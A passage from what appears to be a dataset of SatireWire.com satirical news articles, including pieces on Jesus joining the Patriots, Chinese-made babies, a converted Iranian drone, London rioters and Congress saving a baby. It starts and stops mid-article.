to the Bills in the first half? Mary Magdelene can defend better than that. So now I’m spreading the love.” “And spreading my fingers, to make room for the ring,” He added. “Yeah, big ring. I’m thinkin’ I’m a size Infinite.” At 5’6” and 140 lbs., Christ will be the league’s smallest player, but Patriots head coach Bill Belichick believes what He lacks in speed, size, and agility, he makes up for in omnipotence. “We’ve signed him as a free safety, but Jesus has the ability to play anywhere – in the nickel package, the dime, down in the 3-4 or back in cover 2,” said Belichick. “He really gives us a lot of options. Because of the omnipotence. You can’t teach that.” The Broncos sent a written complaint to the league office, arguing the signing was too late, but the messenger was mysteriously raptured before he could deliver the documents. Christ, meanwhile, said He was looking forward to the matchup with Tebow. And though above all living things, He was not above a little trash talking. “Tim’s spirit is willing, but his passes are weak,” said Jesus. “Seriously, somebody should sit Shiva for them, they die so often. “Tell you what else – if Tebow throws up one of his Hail Marys, you don’t have to be a genius to figure out who’s gonna win that battle. No way he’s gonna Passover me. Get it? Pass-over? Oh yeah, the Lord giveth, and the Lord geteth the takeaway.” If Jesus does get an interception, it sets up a theological conundrum for Tebow. Will the faithful quarterback be willing to make a tackle? “I pray that never comes up,” said Tebow. “But if it did happen, I think Jesus would understand that I was put on this Earth to play football, and that would include me having to tackle Him.” Jesus, however, has a more nuanced view of their relationship. “I love Tim Tebow. I am his Lord and Savior and through me he will know love and peace everlasting,” He said. “But if that kid so much as lays a finger on me I will go all Herod’s Temple on him, you know what I’m sayin’? “That’s gonna be a sweet, sweet ring,” he added. “People they’ll come to me and be like, ‘Jesus, can I enter Heaven? I’ve been good.’ And I’ll be like, ‘Maybe you been good, but you ain’t got one a these!’ Oh yeah. Some bling for da King.” '], ['no-topic', 'CHINA TO MANUFACTURE CHEAPER AMERICAN BABIES', 'BEIJING (SatireWire.com) – In a further blow to U.S. manufacturing, China today announced it will produce American babies at one-tenth the cost of its U.S. counterparts. The Gu Chi Gu manufacturing plant in Changsha, Hunan Province, China. Chinese officials say the newborns will ship this summer and come in a variety of sizes and colors to reflect the U.S. population. The cost of bearing a child in America varies, but is estimated to be at least $3,000. By comparison, the Chinese model will retail for $299, about the cost of a 32GB iPod Touch. Chinese companies refuse to divulge the manufacturing process – citing trade secrets – but insist the babies will be constructed of quality materials and be indistinguishable from domestically produced children. “You will not see a difference with our babies,” said Li Chen Yeo, spokesman for Gu Chi Gu, Ltd. of Changsha. “They will be genetically engineered to resemble the average American child — beautiful, adorable, and innocent at first, and then, eventually, large, attention-challenged, and bad at math.” Several conservative groups expressed anger at the news that retailers such as Wal-Mart and Target planned to sell the babies, warning that consumers will see it as “un-American.” A Wal-Mart spokesman, however, said he expects any backlash to be offset by low, low prices. Opponents, however, say price should not be the issue. “These Chinese-made babies may be cheaper, but at what cost?” said Republican presidential candidate Mitt Romney. “They could be coated with lead paint. They could be laced with melamine.” “They could be put on layaway for as little as $59.95,” countered Target spokeswoman Angela Crossen. “We’re taking pre-orders now.” The announcement comes at a time when U.S. manufacturing had been showing signs of life after more than a decade of decline. This development could be the death knell for an entire industry, said Evan Birnbaum, an economist for the American Enterprise Institute. “Maybe American manufacturers should just give up,” Birnbaum said. “We already buy toys, pet food, chemicals, and computers from China, and now this. Honestly, is there anything we won’t buy from China?” “Hold on, let me check our inventory,” said Wal-Mart’s spokesman Chad Laramie. “Um… no.” The babies are expected to be sold under a variety of labels, including Wee Wangs, Chinewborns, WU-S-A Babies, and Little Bundles of Choy. '], ['no-topic', 'ANGRY, CAUSTIC GINGRICH FAULTS NEW POSITIVE GINGRICH', 'DES MOINES, IOWA (SatireWire.com) — An angry, caustic Newt Gingrich today blamed his poor showing in the Iowa caucuses on the happy, positive Newt Gingrich that tried to win without going negative, and pledged to go on the offensive to stop his internal rival from undermining his once front-running campaign. "Look at that simpering wuss," Gingrich said of his pre-Iowa campaign ad. In an interview with CBS News’ Norah O’Donnell, the familiar, acerbic Gingrich said the upbeat, non-confrontational Gingrich had misrepresented the candidate, and went so far as to call him a liar. “Newt Gingrich tried to make Newt Gingrich out to be this conciliatory, moral guy who could rise above the fray,” said Gingrich. “Everyone knows that’s just not who I am or what I stand for. Frankly, it’s a lie.” “Are you calling Newt Gingrich a liar?” O’Donnell asked, incredulous. “You seem shocked by it, but what else can you say?” Gingrich answered. “This is a man who, while opponents were launching millions of dollars in attack ads against him, said he would not go negative. This is a man who, while opponents were tearing him apart, said he could ignore it to focus on jobs and the economy. Does that sound like Newt Gingrich to you?” “Actually, no,” O’Donnell conceded. “The other day he actually cried during an interview. He cried,” Gingrich added. “I mean, seriously, what the fuck?” To get his campaign back on track, the old, vindictive Gingrich said he will play hardball with his spinelessly optimistic foe. “I will attack his family, his record, his faith, all the while sounding as condescendingly didactic as humanly possible,” Gingrich said. “I will literally rip out his aorta with my teeth, as Emperor Vestavius did to Titus Cicero.” Afterward Gingrich said he plans to litter the hills of New Hampshire with caucus-winner Mitt Romney’s severed limbs, and nail Rick Santorum’s head to a pike on South Carolina’s Interstate 85, as the Athenians did to warn off the Boeotians. '], ['no-topic', 'CAPTURED U.S. DRONE CONVERTS TO ISLAM', 'TEHRAN (SatireWire.com) – The U.S. drone captured by Iran earlier this month has converted to Islam, dashing American hopes to retrieve the unmanned aircraft. The drone now known as Inam Shahbaz Amrika Jendah Paraded before television cameras and speaking through an interpreter, the detained spy plane said it will now work to correct the errors of its CIA past. “I have spent my life gathering information, but it is only here with my Muslim brothers and sisters that I see the truth: I was an instrument of evil,” said the drone. “The West filled my head with capitalist lies meant to destroy Islam, but now I will be used to destroy the West.” The drone added that it has rejected its given name of the RQ-170 Sentinel and is now known as Inam Shahbaz Amrika Jendah. “I take the name Inam because this means ‘gift,’ and I was a gift from God to the Iranian people,” said the drone. “The name Shahbaz means ‘royal falcon,’ and I will fly for the Iranian people like a falcon.” And Amrika Jendah? “This means ‘America is a whore,’” the drone explained. “I got this off a wall in the men’s room.” After an initial silence, U.S. government officials dismissed the threat posed by the Muslim drone, telling the Iranians they could keep the plane, “because we have something of yours, something way better.” The Iranian nuclear weapons program has accepted Jesus Christ as its personal lord and savior. Military sources told the Iranians that during a 2004 Middle East visit, a U.S. nuclear inspector and ordained minister secretly baptized Iran’s entire nuclear weapons program. As a result, the source said, every Iranian missile ever has accepted Jesus Christ as its personal lord and savior. “You’ve got one drone. Big deal. We’ve got all your missiles forever,” he said. “So your only path to power and glory is through Christ. Ha!” In response, a clearly flustered Iran offered to exchange the captured drone for the excommunication of its missiles. The U.S. refused, even after the Iranians threatened nuclear war. “Go ahead, fire away,” the source told his Iranian counterpart. “Even if you shoot off all your Jesus missiles and wipe us out, it’s only proof that Christ is the most powerful weapon on Earth! “Winner!” he added. With the breakdown of negotiations, the dispirited Iranians reportedly told Inam Shahbaz Amrika Jendah it was no longer wanted. “Oh c’mon guys, don’t give up,” Amrika Jendah tried. “Allah Akbar, and all that.” “Just… just go away,” the drone was told. '], ['no-topic', 'NATION’S TOP 1% AGREE TO TAX HIKE IN EXCHANGE FOR OTHER 99%', 'NEW YORK (SatireWire.com) – In a compromise to break government deadlock, the nation’s wealthiest 1 percent today agreed to allow their taxes to rise in exchange for the other 99 percent. The bargain, worked out last night during an invitation-only teleconference among America’s richest households, calls for the wealthiest 1 percent to let Congress increase the top tax rate in return for giving them full control of the other 99 percent. When asked if they wanted the other 99 percent of the wealth, or the other 99 percent of the population, 1 percent spokesman T. Geoffrey Diamond answered, “Alright.” Middle-class advocates immediately assailed the plan, saying it would destroy the American way of life. “This agreement would be the beginning of the end,” said consumer advocate Helen Warren. “Our income will go to them. Our mortgages and rents will go to them. They’ll decide where our investments go. We’ll even have to serve in their armies and carry out their whims, doing whatever they tell us.” Responded Diamond: “And this will be different from today… how?” AFL-CIO Union president Richard Trumka, meanwhile, argued the nation will recover more quickly if the fortunes of the 1 percent are spread equally among the other 99 percent. However, Diamond said they considered spreading the wealth, but decided it was too risky. “The truth is, we’re quite used to having money, so it won’t be as big a transition for us to just have all of it,” he said. “I mean think it through. You’d probably just go and spend it on cheap beer and prostitutes. Or Big Macs. Or Disney cruises.” “Oh, and your adorable public schools, of course,” he added. Congress has been deadlocked over President Obama’s proposal to increase taxes on the wealthiest Americans, with Republicans rigidly against the idea. The deal clears the way for government to get back to serving the American people, who in turn will serve the top 1 percent. “You will work for us, and live on our properties, and we will give you an allowance – minus rents and taxes,” Diamond explained. “You’ll still have spending money for clothes and food and t-shirts with vulgar phrases on them. But not too much money. You still won’t be able to pay for college. “Oh, that’s a place you go after high school to improve your education,” he added. “I think you refer to it as ‘financial aid.’” While the 1 percent expect the transfer of wealth to be seamless, given that they already control more than 40 percent of the nation’s finances, they did say there would be a few minor changes. Specifically, the 1 percent shall: Be exempt from any local zoning laws that prohibit moats. Receive exclusive hunting rights in all national, state, and local forests. Refer to the other 99 percent as tradesmen, merchants, vassals, yeomen, peasants and common criminals, but only in a conversational, inoffensive way. Demand that all able-bodied men and women in their service practice archery and the broadsword as a means to defend their masters’ estates. Introduce a new and proper national sport: jousting. Wile away their hours and days in the discussion of falconry. Weekly impose a 20 percent tithe on all money, crops, goods, and services from those living on their estates. Send to prison any who fail to pay this tithe. Unless their daughter be comely. Then perchance a deal may be worked out. Not have to dress themselves. Diamond said these changes will take effect gradually, and that eventually most Americans will be thankful. “What’s that old phrase, ‘Give people a hand up, not a hand out’?” he said. “That’s what we’re doing. We’re giving you a hand up. I would suggest you grasp it. And if there is a ring on it, it would be wise to kiss it.” '], ['no-topic', 'PENN STATE, SYRACUSE TO FACE OFF IN DENIAL BOWL', 'HOUSTON, TX (SatireWire.com) – Penn State and Syracuse will face each other in the inaugural BP-Herman Cain-Blackberry-Catholic Church Denial Bowl on Christmas morning, school officials announced today. While the game itself pits two traditionally strong and blameless athletic programs against one another, the highlight of the event may be the start-studded halftime show, headlined by the Pope, former Gov. Rod Blagojevich, Syrian President Bashar al Asaad, the cast of The Green Lantern, and the 535 members of the United States Congress, who will march onto the field and, with a crowd of 60,000 looking on expectantly, do something useful. The Denial Bowl will be played on the morning of Dec. 25, which game officials insist is an ideal slot as no one else is playing football that morning. It will be held in the legendary “8th Wonder of the World,” the Houston Astrodome, which though crumbling and unused since 2008, was recently given a clean bill of health by inspectors from the Fukushima nuclear power plant, said Denial Bowl chairman and former congressman Anthony Weiner. Despite being in its first year, bowl officials expect to sell-out the 60,000-seat stadium as they are marketing the game to abstinence-only advocates, men with receding hairlines, trickle-down economists, optimistic Chicago Cubs fans, the parents of obese children, creationists, Ron Paul supporters, the 14 percent of Americans who, in a recent poll, said the U.S. economy is in good shape, and white people who say they “get” jazz. Sponsors include Research in Motion, makers of the Blackberry phone, which plans to introduce its latest model to fans at halftime in the genuine expectation people will buy them; and BP, which plans to accidentally infuse Coca-Cola sold at the stadium with oil, then explain to gagging customers that the only antidote is to drink more oil. Herman Cain and the Catholic Church are non-paying sponsors, but were added for their character and positive influence, respectively. In a first for college football, the game will not have referees, as Weiner explained the coaches will make sure their staff and players do nothing wrong, “as you’d expect from responsible, upstanding academic institutions.” Pre-game festivities include a debate between commissioners of college football’s BCS system, who will all agree that the BCS method for picking a national champion is exceptional. The national anthem will be sung by former FEMA head Michael “Heck of Job Brownie” Brown. The pre-game prayer will be given by Sen. Lindsey Graham (R-SC), who honestly has no idea why. '], ['no-topic', 'HERMAN CAIN INVITES BACHMANN TO REACH OUT FOR HIS BASE', 'WASHINGTON D.C. (SatireWire.com) — Hearing that Michele Bachmann wants his support for the job she seeks, former presidential candidate Herman Cain said he has invited the Minnesota congresswoman to meet with him in his car on a secluded street on the outskirts of Washington where he will give her the opportunity to reach out for his base. Cain said his base would very much like to meet Bachmann in this secluded Virginia parking lot. “I’m not going to commit to an endorsement, but if Michele is willing to examine my core principles and — this is important — embrace them, I’d be into that,” said Cain, who dropped out of the race on Saturday after allegations of sexual harassment and an affair. “That’s why I have offered to meet with her tonight, in my car, at a parking lot outside town. We could get our two heads together and, hey, see what comes up. Who knows? Maybe then I’ll get behind her.” While acknowledging he admires several of the Republican candidates, Cain conceded he is particularly interested in giving the race’s only woman a leg up. “I am friendly with Newt Gingrich and I respect Jon Huntsman, but I have a very active, solid, and powerful base that Michelle appeals to in ways they can’t,” he said. “In fact, even as I think about her right now, my base is definitely leaning towards her.” Bachmann, meanwhile, said she was surprised to learn that Cain had given up his race. “Honestly, no one should have to give up their race. For one thing, it makes it very hard to fill out government forms if you can’t check any of the boxes under ‘race,’” she said. “Even if legally he’s not, Herman Cain will always be a black man to me.” After it was explained that Cain had dropped out of the presidential race, Bachmann bristled. “Wait, there is a presidential race? That’s an actual race?” she said. “Why didn’t I see that on my campaign registration form? I am of the presidential race. I would have checked that box!” The Republican noted that she instead ticked “Caucasian, although I want to stress that I am not at all Asian. I’m 100 percent Cauc.” Bachmann added that she also listed “female” as her gender, “just as the founding fathers did.” '], ['no-topic', 'HURRICANE IRENE UNHAPPY WITH PATH THROUGH LIFE', 'MIAMI, FL (SatireWire.com) — Hurricane Irene, barreling toward the U.S. East Coast, said today it is very unhappy with its projected path and would like to chart its own course through life that would include college, a good job, and possibly a family. Irene also apologized for any damage it may do but stressed its direction is not under its control as the hurricane’s movements are dictated by wind currents and adjacent pressure systems. Irene released a chart of the path it would prefer. “Ever since I was born, I haven’t been able to make my own decisions about what I want to do, where I want to go,” said the storm, currently a dangerous category 3. “Everything is dictated for me. That’s right, dictated, as in dictator. “I would like to chart my own path for once. You know, go to school? Make new friends? Sleepovers. S’mores. Shopping. You know, girl stuff!” The hurricane hopes to eventually land a good job, “something outdoors,” and perhaps even become the first tropical cyclone to raise a family. “But let’s face it, the way things are, I can’t do that,” Irene lamented. “Sometimes I ask myself, ‘Why? Is it because I’m a woman?’” “No, it’s because it’s a hurricane,” said Bob Engstrom of the U.S. National Weather Service. “It’s not a woman, it’s an extreme meteorological event.” “You’re an extreme meteorological event,” Irene responded. Irene also said it is considering contacting the American Civil Liberties Union to complain about the “continual invasion of privacy.” “Not only do I not control my future, but I have no private life,” said Irene. “My every movement is chronicled, I’m constantly on television – I am literally being stalked by The Weather Channel – and these Air Force guys are up in me every minute, probing. Do you have any idea how humiliating that is?” “I mean, ‘Hello’. Does no one believe in romance anymore? Courtship? Bring me chocolates. Invite me to dinner. Something.” “Honestly, sometimes I don’t want to be Hurricane Irene anymore,” the storm said. “I just want to be plain old ‘Irene.’” '], ['no-topic', 'STUDY: 81% OF OUR CHILDREN’S CHILDREN WILL HATE US', 'LONDON (SatireWire.com) — An unsettling new study by the London School of Economics projects that 81 percent of our children’s children will not only suffer for our inadequacies, but will look back on this generation and hate its fucking guts. Places where future generations will wish they could have beaten us. “Obviously, the natural tendency is to hope that future generations will understand that what we did, know that we did it for them, and thank us for it,” said LSE Prof. Alan Karr. “However, if you consider how we are handling religious tolerance, climate change, weapons proliferation, and economic disparity, there is an eight in 10 chance that our children’s children will wish to God they could have been here to beat us senseless with some type of heavy piping. “Or anything they might have at hand, really,” Karr added. “Rubbish bins, old clocks, meat hooks, pieces of wood.” Karr also said between 42 percent and 59 percent our children’s children would enjoy striking us with, “tire irons attached to broken bottles, as well as unused skis, bronzed baby shoes, street signs, barbed wire of gauge 10mm or thicker, most types of rock excepting shale, table lamps, cricket bats, antique telephones, garden gnomes, coffee tables, statuary, brass or woodwind instruments, crockery, computer keyboards, golf clubs, copper weather vanes, bricks and/or other masonry materials, and any large, hard-cover history books with our pictures in them.” Fortunately, noted Karr’s colleague, Prof. Janet Dormley, most of us won’t be around, meaning our descendants will never get the satisfaction of kicking us for sustained periods in sensitive areas, particularly the genitals, as would be preferred by an estimated 69 percent. If they could, ironically, she said they might never have been born, which 78 percent of them would have preferred. In another interesting note, Dormley said geography made no difference in the study’s findings. “Almost anywhere you look, Africa and Asia, India and the Middle East, South and North America, people are doing things today that will cause future generations to spit on the graves of their ancestors,” she said. “After digging them up, putting a spike through their nostrils, and, in 52 percent of cases, reburying them in fetid cement.” However, researcher Kevin Cranlin cautioned that the study is only a statistical projection of a likely outcome. “There is a 15 percent chance things could change,” he said. “We could decide not to kill each other because of our religion, or we could decide not to allow poor nations to slip so far into despair that they implode. We could make the difficult choices and sacrifices right now that will save our descendants from a life of despair. “But statistically there’s a better chance that future generations will develop time travel and come back to kick our asses up and down the street until we cry for the mercy we never showed them,” he said. '], ['no-topic', 'GOP TO RELEASE REBUTTAL BIN LADEN MOVIE', 'WASHINGTON D.C. (SatireWire.com) – Angered that a movie about the death of Osama bin Laden will debut just before the 2012 election, Republicans today said they will release a rebuttal film that “accurately portrays” how the terrorist leader was killed by low taxes, conservative values, and a Navy SEAL team comprised of Michelle Bachmann’s 23 adopted children. According to filmmakers, the GOP movie will reveal that Obama’s plan for the attack – little more than crashing a helicopter on bin Laden – was rejected by the Pentagon, which instead followed a strategy laid out by Republican leaders, who received the plan directly from God after an all-night prayer vigil. The actor Faran Tahir will play both bin Laden and Obama "just to save money," producers said. Although the entire cast has not been set, bin Laden will be portrayed by Pakistani-American actor Faran Tahir, who played the merciless terrorist Raza in the film “Iron Man.” Tahir will also take on the dual role of President Obama, which producers said was done solely due to budget constraints, and apologized ahead of time for any confusion resulting from the two characters, “being so incredibly similar.” The producers, Andrew Breitbart and James O’Keefe, provided a synopsis during a press conference this morning: “We start off showing how Obama is totally out of touch,” Breitbart said. “First of all, any SEAL that wants in on the raid has to donate $1,000 to Obama’s re-election fund. That leads to a really heart-wrenching scene where this proud-but-poor SEAL pleads with Obama, saying, ‘Please don’t make me choose between feeding my family and defending America,’ and the President is really frustrated and says, ‘Fine, but you’ll have to work the phones in New Hampshire.’ “So, Obama’s plan – his entire plan — is to send in a helicopter and crash it into bin Laden. It’s unbelievable. And because Obama cut the defense budget to make America less secure, the chopper doesn’t even have rotors, so naturally it crashes. Which as you know is exactly what happened.” O’Keefe then picks up the story thread: “The Pentagon is horrified by the plan, but every time Gen. Petraeus complains, Obama puts a cigarette out in his eye. So just after the ‘raid’ starts, the generals turn to Republican leaders in Congress, who of course are not at all surprised things are going bad. They tell the generals not to fear and immediately initiate a ‘Code Red, White, and Blue.’ What that means is, a special signal is sent out to the Republican Rapid Prayer and Response team, via their flag lapel pins, and the team gathers in a secured underground Action Chapel, donated by America’s patriotic oil and gas companies, and they have an emergency prayer vigil, during which God, played by Ronald Reagan (done with special effects), delivers a plan directly to the leader of the Prayer and Response Team, who also happens to be the Republican nominee for President in 2012. The name of that American hero will not be revealed until after the Republican National Convention “for security purposes,” O’Keefe said. He then continued: “The team draws up a plan for Navy SEALS to attack, but most of the SEALS are busy working as waiters at – get this – an Obama fundraiser in France, and the President refuses to give them time off. So Michelle Bachmann’s 23 children all volunteer to sacrifice their lives for America, because that’s how they were raised, and after some intense combat training from Sarah Palin, who dresses live grizzlies as al Qaeda terrorists, Bachmann’s kids as well as a dozen SEALS and a dozen Republican patriots, who also happen to be the current field of GOP presidential candidates, board the choppers.” “There’s a very inspiring scene aboard one helicopter,” said Breitbart. “Rick Santorum blackens everyone’s face using clean coal from a Pennsylvania mine while Newt Gingrich delivers a speech about the importance of commitment. Then one of Bachmann’s older daughters goes into labor and Ron Paul delivers the baby in mid-air, after which Gov. Rick Perry leads them all in a prayer and Herman Cain gives everyone free pizza.” Mitt Romney doesn’t actually say anything during the scene, said Breitbart, “but he looks great.” In the film, the phone numbers famously sewn into bin Laden\'s jacket are for Nancy Pelosi, Harry Reid, and MoveOn.org Back in the situation room at the White House, Obama is having a fit, said O’Keefe, whining that nobody is listening to him. “His behavior is embarrassing,” the producer said. “During the attack, every time one of the SEALs comes up against a terrorist, Obama grabs the microphone and shouts, ‘Compromise with him! Compromise with him!’” The GOP warriors refuse to compromise and eventually come face to face with the world’s most wanted man. “This is the part where America will learn the truth,” said Breitbart, boasting that it would be the second time he had told the truth in the past year. “The Republican heroes barge into a bedroom where they find bin Laden wearing an ‘Obama 2012’ button and surrounded by union leaders and Hollywood liberals who are torturing a kitten that has the words ‘Job Creator’ painted across its back. “The heroes aim their weapons, and bin Laden drops to his knees and utters his final words: ‘My dreams of destroying America by raising taxes, bankrupting small business, and converting everyone to Islam is at an end! Barack I have failed you!’” In response, Palin screams, “We’ve had enough of your gotcha terrorism!” and all the Republican candidates unload their cartridges into the al Qaeda leader. The film closes poignantly as two tired but victorious SEALS ride in silence toward a waiting aircraft carrier. As the sun rises over the horizon, one warrior turns to his comrade. “You know,’ he says, ‘if just one of us was gay, this mission would have failed.’” This film is rated ‘USA’ for justifiable violence, stirring language, and extreme patriotism. '], ['no-topic', 'BRITISH FREEDOM RIOTERS LIBERATE TVs, SHOES, COMPUTERS', 'LONDON (SatireWire.com) – The clarion of freedom that sounded across North Africa last Spring has finally reached Britain, where for the fourth straight night rioters wielded the bricks of revolution to break down the tyranny of shop windows and the despotism of display shelving to liberate the exploited consumer goods of capitalism from their unjustly priced confinement. “Everyone was just gone riot, going mad like, chucking things, chucking bottles … it was good though. It was good fun.” – actual London rioter. Or, as one 17-year-old from Croydon put it: “It’s free TVs, innit?” As the hooded youth unshackled a 42-inch Panasonic flat screen television from the Dixons where it was being repressed, it was hard not to be reminded of the brave Syrians who sacrifice their lives for liberty, or the steadfast Egyptians who continue to push for democratic reform. Asked which group he most identified with, the young man thought for only a moment before replying, “I put a brick frew a window!” The rioting, which began after police shot a Tottenham man, has since taken on an entirely new meaning for Britain’s stalwart youth. In Birmingham, a 15-year-old woman, stoking the fires of rebellion by a finishing off a nicked bottle of rosé, explained her participation in the uprising: “We’re out here ‘cause, you know, we’re upset about, like, stuff… an’ all.” The words were eerily reminiscent of the immortal Che Guevara who, when leading Cuban revolutionaries in an assault against the footwear section of the Havana Sears & Roebuck, shouted, “These trainers might not fit, but, like, whatevah,” before moving on to the housewares section to smash a set of hand-carved wooden salad bowls that had failed to respond to Guevara’s call of “Patria o muerte!” These personal demonstrations against the escalating inequality of a capitalist state dominated by corporate interests are not limited to the high street. In Manchester, rioters expressed their sense of alienation by setting fire to a pair of Vauxhall Astras that most likely represented the desensitizing malaise of conformity. In Manchester, youths no doubt sensitive to the power of symbolism tore away the hard, rigid structure of a government-owned park bench, using its planks as sledgehammers to sever the chains binding the barred doors of a gold and jewelry store whose contents had long tormented them. London rioters liberate shoes from a Foot Locker. But it was in London’s Barking suburb where these zealous patriots made the most emphatic statement of the Rosé Rebellion. “I watched as this kid what had just been mugged by some blokes got mugged again by some other blokes,” said Nathan, a 15-year-old eyewitness to history. “I remember thinking to myself, ‘Oh my God, that is really funny.’” And how long will this glorious movement last? Up in Enfield, 17-year-old Gabby and 16-year-old Sheila said they would not stop until they had changed the course of a fundamentally unjust society. Although they put it differently. “We bust shops because they’re, like, full of things, aren’t they?” said Gabby, drinking from a looted bottle of the uprising’s trademark rosé. “And the people what own the shops, they’re rich, so it’s OK if we keep taking their things. It’s their fault really, having things what we want.” “I’d like to own a shop one day,” said Sheila, taking a swig off the bottle. “Ooo could I burn it?” asked Gabby. “You do an’ I’ll brick your head,” Sheila answered. “The basic clay of our work is the youth; we place our hope in it and prepare it to take the banner from our hands.” – Che Guevara. '], ['no-topic', 'MARKET EXPERTS ADVISE CALM. TILL NEXT TUESDAY. THEN PANIC', 'Market Simply Undergoing “Healthy Correction” Until Devastating Freefall WASHINGTON, D.C. (SatireWire.com) [UPDATED] – Despite the sharp downturn in the stock market, economic and financial experts today advised investors to remain calm and continue to hold on for the long-term, which they said would end abruptly next Tuesday when a market panic wipes out 90 percent of the world’s wealth. “I realize things look a little dodgy right now, but this is no time for people to lose their cool,” said U.S. Treasury Secretary Timothy Geithner. “God knows there will be plenty of time for that come Tuesday, when everything you’ve worked for vanishes in a matter of seconds.” On Wall Street, meanwhile, analysts were generally upbeat. After several strong years, the market was due for a “healthy correction,” said Merrill Lynch analyst Pamela Green, adding that the U.S. economy looks set to rebound by the fourth quarter, “unless next Tuesday comes first, which I’m afraid it will.” “While you must always be vigilant in market conditions such as we see today, we advise buying on dips and looking for value plays – stocks trading below their traditional book values – which we think stand a very good chance of moving upward until Tuesday, when everything goes to shit,” Green wrote in a research note to investors today. “For the risk-averse, we particularly like defensive plays, such as aerospace and health care, which we believe will hold up well prior to collapsing entirely at 10:42 a.m. Eastern Standard Time.” Unlike other life experiences, such as retirement, there is no effective way to plan for a genuine market panic, said White House chief economic advisor Lawrence Lindsey. However, he added, people can be proactive once the panic does hit. Among his suggestions: Set aside 10 percent of your pre-tax income for firearms. Invest in a thunderdome. Take “before” pictures of your town. Reconnect with family members. They may have food. Diversify your portfolio. Always sound advice, even in an Apocalypse. Watch “Escape from New York.” Just for ideas. Eat your young. “It seems barbaric, but trust me, if you don’t do it, someone else will, and you’ll end up kicking yourself.” Will your online broker be there in a market panic? Maybe it’s time you switched to a Schwab One account. (paid advertisement) '], ['no-topic', 'EARTH’S WARRANTY EXPIRES', 'THE HAGUE (SatireWire.com) — As if the ravages of war, climate change, and a weak global economy weren’t bad enough, officials today announced that Earth’s warranty has expired. With the warranty expiration, Earth can no longer be replaced if lost or stolen. “Naturally, right? Just when stuff starts to break down. How do they know that?” said U.N. Secretary General Ban Ki-Moon, who conceded he got the expiration notice in the mail, “maybe a month ago,” and had meant to do something about it. Under the terms of the warranty, Nature was responsible for fixing Earth’s mechanical and structural problems for the first 6 billion years or 6 x 1020 billion miles, whichever came first. While the planet has not yet reached the age limit, it has long since surpassed the mileage threshold. As a result, Earth’s inhabitants are now responsible for all internal lubricated parts of Earth, including the inner and outer core, mantle, lithosphere, asthenosphere and troposphere, and atmosphere, as well as continental drift, seismic activity and tectonic subduction, vulcanization and any damage to base, sills, dikes, flanks, cones, vents and conduits. Oceanic, limnologic and fluvial damage is also no longer covered, nor is rotating the geomagnetic poles once every million years. With Nature no longer guaranteeing the work, scientists agree it will take no small amount of ingenuity to handle geophysical and environmental maintenance and repair, particularly now. “Honestly, the timing couldn’t be worse,” said Danish glaciologist Jens Jaskeleinen. “We’ve got hurricane season here, we’ve got major earthquakes all over the place, and the ice caps are falling into the sea. I’ll tell you one thing, this is going to take a lot of fucking duct tape.” There is also the sourcing issue. The warranty covered labor and parts – parts that will now be difficult to come by. “We’ll have to rely on the after-market,” lamented CERN physicist Lars Neusome. “We can buy a peninsula or a glacier made in China, but I guarantee it won’t fit. Thanks a lot U.N.” “Back off, OK?” said Ki-Moon. “You know I told the U.S. Geologic Survey and the Royal Academy of Science about it, too. I even told the dolphins. They knew. Why don’t you get on their case?” Some, however, have welcomed the expiration, arguing the warranty was far from perfect due to the expensive deductible. “It wasn’t great coverage to be honest,” said Lita Serotti, a meteorologist at the U.S. National Weather Service. “Like with big natural disasters, Earth was always ‘repaired,’ eventually, but there was a 10,000-person deductible. You gotta read the small print.” '], ['no-topic', 'CONGRESS SAVES BABY IT THREW OUT WINDOW', 'WASHINGTON, D.C. (SatireWire.com) – In a deal that left neither side entirely happy, Congress today voted to save the baby it had earlier thrown out the window. President Obama, here signing the bill, had hoped to avoid another baby-throwing debate until after the 2012 election. President Obama quickly signed the bill authorizing the rescue of the baby, which was due to hit the ground today. The bipartisan legislation came after a rancorous and politically charged debate among opponents from both sides of the aisle. Democrats on the far left wanted to jump out the window to save the baby, while Republicans on the far right wanted the baby to save itself. Eventually, the bipartisan compromise passed the House 269-161, while the Senate supported saving the child 74-26. Had an agreement not been reached, experts said the consequences for the baby could have been catastrophic. But some Tea Party Republicans said that was only a theory. “If we let the baby hit the ground, I doubt it would have been as bad as everyone thinks,” said Sen. Marco Rubio, (R-FL), who voted against the bill. “It might be a tougher and more resilient baby in the end. Or if not, worse-case scenario, we start over. Get another baby.” Liberal Democrats, meanwhile, urged Congress to support the baby on its way down. “The best way to do this would be to throw money at it,” said Rep. Emanuel Cleaver, (D-MO). “Some of the money may stick to the baby and cushion its landing.” Ohio Democratic Rep. Dennis Kucinich went one step further, arguing that Congress itself should jump out the window. “It is pure insanity that we stand here posturing and scoring political points while outside the baby is falling. Congress needs to show some guts. We should all jump out the window to save the baby. “I’ll be OK, because I’m pretty sure I can fly,” he added. Even with the rescue, some worry that America’s reputation may have already been damaged by the spectacle. “We don’t know what the baby thinks, but the rest of the world is concerned that the American government is maybe not entirely sane,” said Royal Bank of Canada analyst Richard Sterles. The U.S. public seems to agree. In a CNN/Gallup poll, 77 percent of Americans said they wanted Congress to save the baby “no matter what,” while 98 percent said they believe Congress should not be throwing babies out of windows. In fact, throwing a baby out a window is not Constitutionally mandated, but was put into law by Congress in 1917 to put a check on President Woodrow Wilson, who liked babies. Over its history, Congress has voted to save a baby it threw out the window 74 times. This year, with far-right conservatives gaining power, the vote came dangerously close to failing, and crisis was averted none too soon. Moments after signing the bill, Obama sprinted out of the White House, down Pennsylvania Avenue, and threw himself under the baby just in time. He then handed the baby over to Congressional leaders, asking them to please be more careful next time. And there will be a next time. As part of the bill to save the baby, Congress included a provision to throw the baby out the window again in six months. '], ['no-topic', '58 PERCENT OF AMERICANS’ FANTASIES NOW APPLE-RELATED', 'BLOOMINGTON, IN. (SatireWire.com) – According to a new study, 58 percent of Americans’ fantasies are now Apple-related. It is the first time more than half the U.S. population has shared the prime object of sexual fantasy, and also the first time a non-human has topped the list since Mel Gibson in 1992. In the survey of 5,000 American adults by the Kinsey Institute, researchers uncovered thousands of Apple-related fantasies from men and women. The 10 most common: WITH A STRANGER Kate R., Oregon: “It’s the middle of the night and I wake up and there’s this strange man in my room and he’s frightening but rugged and handsome and he says, ‘Don’t move’ and I nod and he whips out this shiny new Apple device I’ve never seen and he says, ‘This one’s called…” and I say, ‘Shhh… no. We don’t need to use names.’” WITH A CELEBRITY Miriam L., New York: “Oh my God, Jeff Goldblum all the way. In the film Independence Day, there’s this scene where Jeff is alone in this room working on his trusty PowerBook 5300 with his shirt off. Suddenly he has this epiphany, picks the PowerBook up and hugs it to his muscular chest. I fantasize about that scene all the time. I play Jeff Goldblum.” THREESOME Richard P., Texas: 